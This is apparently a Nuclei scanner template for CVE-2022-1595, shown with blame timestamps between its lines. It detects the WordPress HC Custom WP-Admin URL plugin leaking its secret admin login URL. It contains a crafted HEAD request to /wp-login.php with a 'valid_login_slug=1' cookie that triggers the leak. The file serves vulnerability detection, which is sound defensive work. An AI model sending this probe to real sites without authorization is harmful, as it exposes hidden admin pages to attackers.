2022-12-13 11:39:39 +00:00
id : CVE-2022-1595
info :
2023-01-16 17:41:15 +00:00
name : WordPress HC Custom WP-Admin URL <=1.4 - Admin Login URL Disclosure
2022-12-13 11:39:39 +00:00
author : theamanrawat
severity : medium
description : |
2023-01-16 17:41:15 +00:00
WordPress HC Custom WP-Admin URL plugin through 1.4 leaks the secret login URL when sending a specially crafted request, thereby allowing an attacker to discover the administrative login URL.
2022-12-13 11:39:39 +00:00
reference :
- https://wpscan.com/vulnerability/0218c90c-8f79-4f37-9a6f-60cf2f47d47b
- https://wordpress.org/plugins/hc-custom-wp-admin-url/
- https://nvd.nist.gov/vuln/detail/CVE-2022-1595
classification :
2023-01-05 11:21:19 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score : 5.3
2022-12-13 11:39:39 +00:00
cve-id : CVE-2022-1595
2023-01-05 11:21:19 +00:00
cwe-id : CWE-200
2023-04-12 10:55:48 +00:00
cpe : cpe:2.3:a:hc_custom_wp-admin_url_project:hc_custom_wp-admin_url:*:*:*:*:*:*:*:*
epss-score : 0.00145
2022-12-13 11:39:39 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2022-12-13 11:39:39 +00:00
verified : "true"
2023-01-05 11:21:19 +00:00
tags : unauth,wpscan,cve,cve2022,wordpress,wp-plugin,wp,hc-custom-wp-admin-url
2022-12-13 11:39:39 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-12-13 11:39:39 +00:00
- raw :
- |
HEAD /wp-login.php HTTP/1.1
Host : {{Hostname}}
Cookie : valid_login_slug=1
2023-06-01 05:01:39 +00:00
- |
HEAD /wp-login.php HTTP/1.1
Host : {{Hostname}}
2022-12-13 11:39:39 +00:00
matchers-condition : and
matchers :
2023-06-01 05:01:39 +00:00
- type : dsl
dsl :
- "status_code_1 == 302"
- "contains(header_1, 'wordpress_')"
- "contains(header_1, 'Location')"
2022-12-16 06:36:40 +00:00
condition : and
2022-12-13 11:39:39 +00:00
2023-06-01 05:01:39 +00:00
- type : dsl
dsl :
- "status_code_2 != 302"